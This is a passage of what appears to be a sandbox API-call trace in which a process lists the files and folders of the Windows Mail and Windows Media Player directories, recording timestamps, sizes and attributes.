	[0053.604] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\MSOERES.dll" (normalized: "c:\\program files\\windows mail\\msoeres.dll"), fInfoLevelId=0x0, lpFileInformation=0x1260a8c8 | out: lpFileInformation=0x1260a8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00)) returned 1
	[0053.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files\\windows mail\\winmail.exe"), fInfoLevelId=0x0, lpFileInformation=0x1260a918 | out: lpFileInformation=0x1260a918*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600)) returned 1
	[0053.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US" (normalized: "c:\\program files\\windows mail\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1260a968 | out: lpFileInformation=0x1260a968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.609] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US" (normalized: "c:\\program files\\windows mail\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.610] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.610] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0053.610] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1
	[0053.610] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.610] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1260aa58 | out: lpFileInformation=0x1260aa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600)) returned 1
	[0053.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x1260aaa8 | out: lpFileInformation=0x1260aaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800)) returned 1
	[0053.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\msoe.dll" (normalized: "c:\\program files\\windows mail\\msoe.dll"), fInfoLevelId=0x0, lpFileInformation=0x1260aaf8 | out: lpFileInformation=0x1260aaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00)) returned 1
	[0053.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\oeimport.dll" (normalized: "c:\\program files\\windows mail\\oeimport.dll"), fInfoLevelId=0x0, lpFileInformation=0x1260ab48 | out: lpFileInformation=0x1260ab48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00)) returned 1
	[0053.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\wab.exe" (normalized: "c:\\program files\\windows mail\\wab.exe"), fInfoLevelId=0x0, lpFileInformation=0x1260ab98 | out: lpFileInformation=0x1260ab98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000)) returned 1
	[0053.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\wabfind.dll" (normalized: "c:\\program files\\windows mail\\wabfind.dll"), fInfoLevelId=0x0, lpFileInformation=0x1260abe8 | out: lpFileInformation=0x1260abe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00)) returned 1
	[0053.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\wabimp.dll" (normalized: "c:\\program files\\windows mail\\wabimp.dll"), fInfoLevelId=0x0, lpFileInformation=0x1260ac38 | out: lpFileInformation=0x1260ac38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400)) returned 1
	[0053.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files\\windows mail\\wabmig.exe"), fInfoLevelId=0x0, lpFileInformation=0x1260ac88 | out: lpFileInformation=0x1260ac88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800)) returned 1
	[0053.613] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player" (normalized: "c:\\program files\\windows media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f0b759, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f0b759, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f0b759, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b1f2fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b88470, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52b88470, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4623b740, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b1930c1, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5b1930c1, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfdb75f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6431260b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6431260b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462abc20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b4545e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b4545e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b6b5be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x174600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66334c83, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66334c83, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe0cf930, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e8341f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66e8341f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x87200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff32e2e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x4ff32e2e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dde8703, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5dde8703, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe11b420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639ff2e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x639ff2e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe2737f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe", cAlternateFileName="")) returned 1
	[0053.614] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.614] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.618] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Icons" (normalized: "c:\\program files\\windows media player\\icons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.618] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.619] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.619] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
